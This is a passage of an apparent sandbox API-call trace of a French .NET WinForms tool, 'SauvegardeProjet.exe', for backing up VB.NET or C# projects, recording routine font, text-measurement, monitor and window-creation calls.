style=1, unit=0x3, font=0x2590fac) returned 0x0 [0043.572] GdipGetFontSize (font=0x5720e40, size=0x2590fb0) returned 0x0 [0043.572] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.572] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.572] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.572] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.574] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.574] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x25911d4) returned 0x0 [0043.574] GdipGetFontSize (font=0x5720e68, size=0x25911d8) returned 0x0 [0043.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.574] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.574] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.576] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.576] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x259140c) returned 0x0 [0043.576] GdipGetFontSize (font=0x5720e90, size=0x2591410) returned 0x0 [0043.576] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.576] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.576] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.576] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.577] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.578] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x25915ac) returned 0x0 [0043.578] GdipGetFontSize (font=0x4c27030, size=0x25915b0) returned 0x0 [0043.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.586] AdjustWindowRectEx (in: lpRect=0x32e5c0, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32e5c0) returned 1 [0043.587] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.587] AdjustWindowRectEx (in: lpRect=0x32e5c0, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32e5c0) returned 1 [0043.589] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.589] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x25917a4) returned 0x0 [0043.589] GdipGetFontSize (font=0x4c27058, size=0x25917a8) returned 0x0 [0043.589] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.589] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.593] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.594] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.595] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.595] AdjustWindowRectEx (in: lpRect=0x32e610, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e610) returned 1 [0043.595] GetSystemMetrics (nIndex=59) returned 1460 [0043.595] GetSystemMetrics (nIndex=60) returned 920 [0043.595] GetSystemMetrics (nIndex=34) returned 132 [0043.595] GetSystemMetrics (nIndex=35) returned 38 [0043.595] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.595] AdjustWindowRectEx (in: lpRect=0x32e510, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e510) returned 1 [0043.596] GetCurrentThreadId () returned 0x420 [0043.596] GetCurrentThreadId () returned 0x420 [0043.597] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.597] AdjustWindowRectEx (in: lpRect=0x32e40c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e40c) returned 1 [0043.602] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e2fc, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0043.602] CreateCompatibleDC (hdc=0x0) returned 0x11010846 [0043.603] GetCurrentObject (hdc=0x11010846, type=0x1) returned 0x1b00017 [0043.603] GetCurrentObject (hdc=0x11010846, type=0x2) returned 0x1900010 [0043.603] GetCurrentObject (hdc=0x11010846, type=0x7) returned 0x185000f [0043.603] GetCurrentObject (hdc=0x11010846, type=0x6) returned 0x18a002e [0043.604] SaveDC (hdc=0x11010846) returned 1 [0043.604] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0043.606] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.606] CreateFontIndirectW (lplf=0x6284e0) returned 0x100a0252 [0043.606] CoTaskMemFree (pv=0x6284e0) [0043.607] GetObjectW (in: h=0x100a0252, c=92, pv=0x32e2d4 | out: pv=0x32e2d4) returned 92 [0043.607] GetCurrentObject (hdc=0x11010846, type=0x6) returned 0x18a002e [0043.607] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e22c | out: pv=0x32e22c) returned 92 [0043.607] SelectObject (hdc=0x11010846, h=0x100a0252) returned 0x18a002e [0043.608] GetMapMode (hdc=0x11010846) returned 1 [0043.608] GetTextMetricsW (in: hdc=0x11010846, lptm=0x32e2e0 | out: lptm=0x32e2e0) returned 1 [0043.609] DrawTextExW (in: hdc=0x11010846, lpchText="Arborescence du projet", cchText=22, lprc=0x32e3f4, format=0x2400, lpdtp=0x2591f5c | out: lpchText="Arborescence du projet", lprc=0x32e3f4) returned 13 [0043.649] GetCurrentThreadId () returned 0x420 [0043.649] GetCurrentThreadId () returned 0x420 [0043.649] GetCurrentThreadId () returned 0x420 [0043.649] GetCurrentThreadId () returned 0x420 [0043.649] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.649] AdjustWindowRectEx (in: lpRect=0x32e40c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e40c) returned 1 [0043.649] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e3d8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0043.649] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0043.649] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.649] CreateFontIndirectW (lplf=0x6284e0) returned 0x8a0a0153 [0043.650] CoTaskMemFree (pv=0x6284e0) [0043.650] GetObjectW (in: h=0x8a0a0153, c=92, pv=0x32e3b0 | out: pv=0x32e3b0) returned 92 [0043.689] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x259223c | out: psizl=0x259223c) returned 1 [0043.701] DeleteObject (ho=0x8a0a0153) returned 1 [0043.702] GetCurrentThreadId () returned 0x420 [0043.702] GetCurrentThreadId () returned 0x420 [0043.702] GetCurrentThreadId () returned 0x420 [0043.702] GetCurrentThreadId () returned 0x420 [0043.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.702] AdjustWindowRectEx (in: lpRect=0x32e40c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e40c) returned 1 [0043.702] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e3d8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0043.702] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0043.702] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.702] CreateFontIndirectW (lplf=0x6284e0) returned 0x8b0a0153 [0043.702] CoTaskMemFree (pv=0x6284e0) [0043.703] GetObjectW (in: h=0x8b0a0153, c=92, pv=0x32e3b0 | out: pv=0x32e3b0) returned 92 [0043.703] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x2592544 | out: psizl=0x2592544) returned 1 [0043.703] DeleteObject (ho=0x8b0a0153) returned 1 [0043.703] GetCurrentThreadId () returned 0x420 [0043.703] GetCurrentThreadId () returned 0x420 [0043.703] GetCurrentThreadId () returned 0x420 [0043.703] GetCurrentThreadId () returned 0x420 [0043.703] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.703] AdjustWindowRectEx (in: lpRect=0x32e40c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e40c) returned 1 [0043.703] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e3d8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0043.703] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0043.703] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.703] CreateFontIndirectW (lplf=0x6284e0) returned 0x8c0a0153 [0043.703] CoTaskMemFree (pv=0x6284e0) [0043.704] GetObjectW (in: h=0x8c0a0153, c=92, pv=0x32e3b0 | out: pv=0x32e3b0) returned 92 [0043.704] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x2592820 | out: psizl=0x2592820) returned 1 [0043.704] DeleteObject (ho=0x8c0a0153) returned 1 [0043.704] GetCurrentThreadId () returned 0x420 [0043.704] GetCurrentThreadId () returned 0x420 [0043.704] GetCurrentThreadId () returned 0x420 [0043.704] GetCurrentThreadId () returned 0x420 [0043.704] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.704] AdjustWindowRectEx (in: lpRect=0x32e40c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e40c) returned 1 [0043.704] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e3d8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0043.704] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0043.704] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.704] CreateFontIndirectW (lplf=0x6284e0) returned 0x8d0a0153 [0043.704] CoTaskMemFree (pv=0x6284e0) [0043.704] GetObjectW (in: h=0x8d0a0153, c=92, pv=0x32e3b0 | out: pv=0x32e3b0) returned 92 [0043.705] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x2592b48 | out: psizl=0x2592b48) returned 1 [0043.705] DeleteObject (ho=0x8d0a0153) returned 1 [0043.705] GetCurrentThreadId () returned 0x420 [0043.705] GetCurrentThreadId () returned 0x420 [0043.705] GetCurrentThreadId () returned 0x420 [0043.705] GetCurrentThreadId () returned 0x420 [0043.705] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.706] AdjustWindowRectEx (in: lpRect=0x32e528, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e528) returned 1 [0043.706] AdjustWindowRectEx (in: lpRect=0x32e5f0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e5f0) returned 1 [0043.706] GetSystemMetrics (nIndex=59) returned 1460 [0043.706] GetSystemMetrics (nIndex=60) returned 920 [0043.706] GetSystemMetrics (nIndex=34) returned 132 [0043.706] GetSystemMetrics (nIndex=35) returned 38 [0043.706] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.706] AdjustWindowRectEx (in: lpRect=0x32e42c, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e42c) returned 1 [0043.706] AdjustWindowRectEx (in: lpRect=0x32e4f0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32e4f0) returned 1 [0043.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32e3b4) returned 1 [0043.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x32e430 | out: lpFileInformation=0x32e430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0043.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32e3b0) returned 1 [0044.210] GetSystemMetrics (nIndex=11) returned 32 [0044.210] GetSystemMetrics (nIndex=12) returned 32 [0044.210] GetDC (hWnd=0x0) returned 0x3010821 [0044.210] GetDeviceCaps (hdc=0x3010821, index=12) returned 32 [0044.210] GetDeviceCaps (hdc=0x3010821, index=14) returned 1 [0044.211] ReleaseDC (hWnd=0x0, hDC=0x3010821) returned 1 [0044.212] CreateIconFromResourceEx (presbits=0x25a88c8, dwResSize=0xca8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x9006b [0044.267] CreateCompatibleDC (hdc=0x0) returned 0x8010829 [0044.268] GetDC (hWnd=0x0) returned 0x3010821 [0044.269] GdipCreateFromHDC (hdc=0x3010821, graphics=0x32e44c) returned 0x0 [0044.270] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.270] GdipGetLogFontW (font=0x4cb8f90, graphics=0x4c27818, logfontW=0x6284e0) returned 0x0 [0044.271] CoTaskMemFree (pv=0x6284e0) [0044.271] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.271] CoTaskMemFree (pv=0x6284e0) [0044.272] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.272] CoTaskMemFree (pv=0x6284e0) [0044.272] GdipDeleteGraphics (graphics=0x4c27818) returned 0x0 [0044.272] ReleaseDC (hWnd=0x0, hDC=0x3010821) returned 1 [0044.273] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.273] CreateFontIndirectW (lplf=0x6284e0) returned 0x2c0a0281 [0044.273] CoTaskMemFree (pv=0x6284e0) [0044.274] SelectObject (hdc=0x8010829, h=0x2c0a0281) returned 0x18a002e [0044.274] GetTextMetricsW (in: hdc=0x8010829, lptm=0x32e558 | out: lptm=0x32e558) returned 1 [0044.274] GetTextExtentPoint32W (in: hdc=0x8010829, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x25a9c70 | out: psizl=0x25a9c70) returned 1 [0044.275] SelectObject (hdc=0x8010829, h=0x18a002e) returned 0x2c0a0281 [0044.275] DeleteDC (hdc=0x8010829) returned 1 [0044.276] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.277] AdjustWindowRectEx (in: lpRect=0x32e2c4, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x32e2c4) returned 1 [0044.277] GetCursorPos (in: lpPoint=0x25a9c90 | out: lpPoint=0x25a9c90*(x=439, y=647)) returned 1 [0044.288] GetSystemMetrics (nIndex=80) returned 1 [0044.314] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32e1a0 | out: lpmi=0x32e1a0) returned 1 [0044.314] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xa010829 [0044.315] GetDeviceCaps (hdc=0xa010829, index=12) returned 32 [0044.315] GetDeviceCaps (hdc=0xa010829, index=14) returned 1 [0044.315] DeleteDC (hdc=0xa010829) returned 1 [0044.316] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32e1f4 | out: lpmi=0x32e1f4) returned 1 [0044.316] AdjustWindowRectEx (in: lpRect=0x32e4e4, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x32e4e4) returned 1 [0044.323] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.323] AdjustWindowRectEx (in: lpRect=0x32e23c, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x32e23c) returned 1 [0044.324] GetCursorPos (in: lpPoint=0x25a9fc4 | out: lpPoint=0x25a9fc4*(x=439, y=647)) returned 1 [0044.324] MonitorFromPoint (pt=0x1b4, dwFlags=0x289) returned 0x10001 [0044.324] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32e118 | out: lpmi=0x32e118) returned 1 [0044.324] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xb010829 [0044.324] GetDeviceCaps (hdc=0xb010829, index=12) returned 32 [0044.325] GetDeviceCaps (hdc=0xb010829, index=14) returned 1 [0044.325] DeleteDC (hdc=0xb010829) returned 1 [0044.325] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32e16c | out: lpmi=0x32e16c) returned 1 [0044.325] AdjustWindowRectEx (in: lpRect=0x32e31c, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x32e31c) returned 1 [0044.325] GetSystemMetrics (nIndex=34) returned 132 [0044.325] GetSystemMetrics (nIndex=35) returned 38 [0044.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.326] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.326] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.327] AdjustWindowRectEx (in: lpRect=0x32e19c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e19c) returned 1 [0044.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.327] AdjustWindowRectEx (in: lpRect=0x32e4c4, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32e4c4) returned 1 [0044.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.328] AdjustWindowRectEx (in: lpRect=0x32e304, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32e304) returned 1 [0044.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.328] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.328] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.328] AdjustWindowRectEx (in: lpRect=0x32e19c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e19c) returned 1 [0044.329] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e168, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0044.329] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0044.329] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.329] CreateFontIndirectW (lplf=0x6284e0) returned 0xc0a0829 [0044.330] CoTaskMemFree (pv=0x6284e0) [0044.330] GetObjectW (in: h=0xc0a0829, c=92, pv=0x32e140 | out: pv=0x32e140) returned 92 [0044.330] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x25aa448 | out: psizl=0x25aa448) returned 1 [0044.331] DeleteObject (ho=0xc0a0829) returned 1 [0044.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.331] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.331] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.332] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.332] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.333] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.333] AdjustWindowRectEx (in: lpRect=0x32e19c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e19c) returned 1 [0044.333] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e168, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0044.333] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0044.333] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.334] CreateFontIndirectW (lplf=0x6284e0) returned 0xd0a0829 [0044.334] CoTaskMemFree (pv=0x6284e0) [0044.334] GetObjectW (in: h=0xd0a0829, c=92, pv=0x32e140 | out: pv=0x32e140) returned 92 [0044.334] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x25aa658 | out: psizl=0x25aa658) returned 1 [0044.334] DeleteObject (ho=0xd0a0829) returned 1 [0044.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.335] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.335] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.335] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.335] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.336] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.336] AdjustWindowRectEx (in: lpRect=0x32e19c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e19c) returned 1 [0044.336] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e168, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0044.336] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0044.336] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.336] CreateFontIndirectW (lplf=0x6284e0) returned 0xe0a0829 [0044.336] CoTaskMemFree (pv=0x6284e0) [0044.336] GetObjectW (in: h=0xe0a0829, c=92, pv=0x32e140 | out: pv=0x32e140) returned 92 [0044.337] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x25aa868 | out: psizl=0x25aa868) returned 1 [0044.337] DeleteObject (ho=0xe0a0829) returned 1 [0044.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.337] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.338] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.338] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.338] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.338] AdjustWindowRectEx (in: lpRect=0x32e19c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e19c) returned 1 [0044.338] GdipGetFamilyName (in: family=0x4b7f690, name=0x32e168, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0044.339] GetDeviceCaps (hdc=0x11010846, index=90) returned 96 [0044.339] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0044.339] CreateFontIndirectW (lplf=0x6284e0) returned 0xf0a0829 [0044.339] CoTaskMemFree (pv=0x6284e0) [0044.339] GetObjectW (in: h=0xf0a0829, c=92, pv=0x32e140 | out: pv=0x32e140) returned 92 [0044.339] GetTextExtentPoint32W (in: hdc=0x11010846, lpString="0", c=1, psizl=0x25aaa78 | out: psizl=0x25aaa78) returned 1 [0044.340] DeleteObject (ho=0xf0a0829) returned 1 [0044.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.340] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.340] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.341] AdjustWindowRectEx (in: lpRect=0x32e4dc, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e4dc) returned 1 [0044.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0044.341] AdjustWindowRectEx (in: lpRect=0x32e340, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e340) returned 1 [0044.345] GetCurrentActCtx (in: lphActCtx=0x32f1d4 | out: lphActCtx=0x32f1d4*=0x0) returned 1 [0044.345] ActivateActCtx (in: hActCtx=0x643e84, lpCookie=0x32f1e4 | out: hActCtx=0x643e84, lpCookie=0x32f1e4) returned 1 [0044.345] GetCurrentActCtx (in: lphActCtx=0x32eff4 | out: lphActCtx=0x32eff4*=0x643e84) returned 1 [0044.345] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0045.304] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73c90000 [0045.334] AdjustWindowRectEx (in: lpRect=0x32ef58, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x32ef58) returned 1 [0045.334] GetCursorPos (in: lpPoint=0x25aace8 | out: lpPoint=0x25aace8*(x=757, y=575)) returned 1 [0045.334] MonitorFromPoint (pt=0x2f5, dwFlags=0x23f) returned 0x10001 [0045.334] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32ee34 | out: lpmi=0x32ee34) returned 1 [0045.334] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x10010829 [0045.334] GetDeviceCaps (hdc=0x10010829, index=12) returned 32 [0045.334] GetDeviceCaps (hdc=0x10010829, index=14) returned 1 [0045.335] DeleteDC (hdc=0x10010829) returned 1 [0045.335] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32ee88 | out: lpmi=0x32ee88) returned 1 [0045.335] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.335] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Sauvegarde d'un projet VB Net ou C#", dwStyle=0x2ca0000, X=317, Y=89, nWidth=806, nHeight=681, hWndParent=0x0, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x50120 [0045.335] SetWindowLongW (hWnd=0x50120, nIndex=-4, dwNewLong=2005411293) returned 14288902 [0045.335] GetWindowLongW (hWnd=0x50120, nIndex=-4) 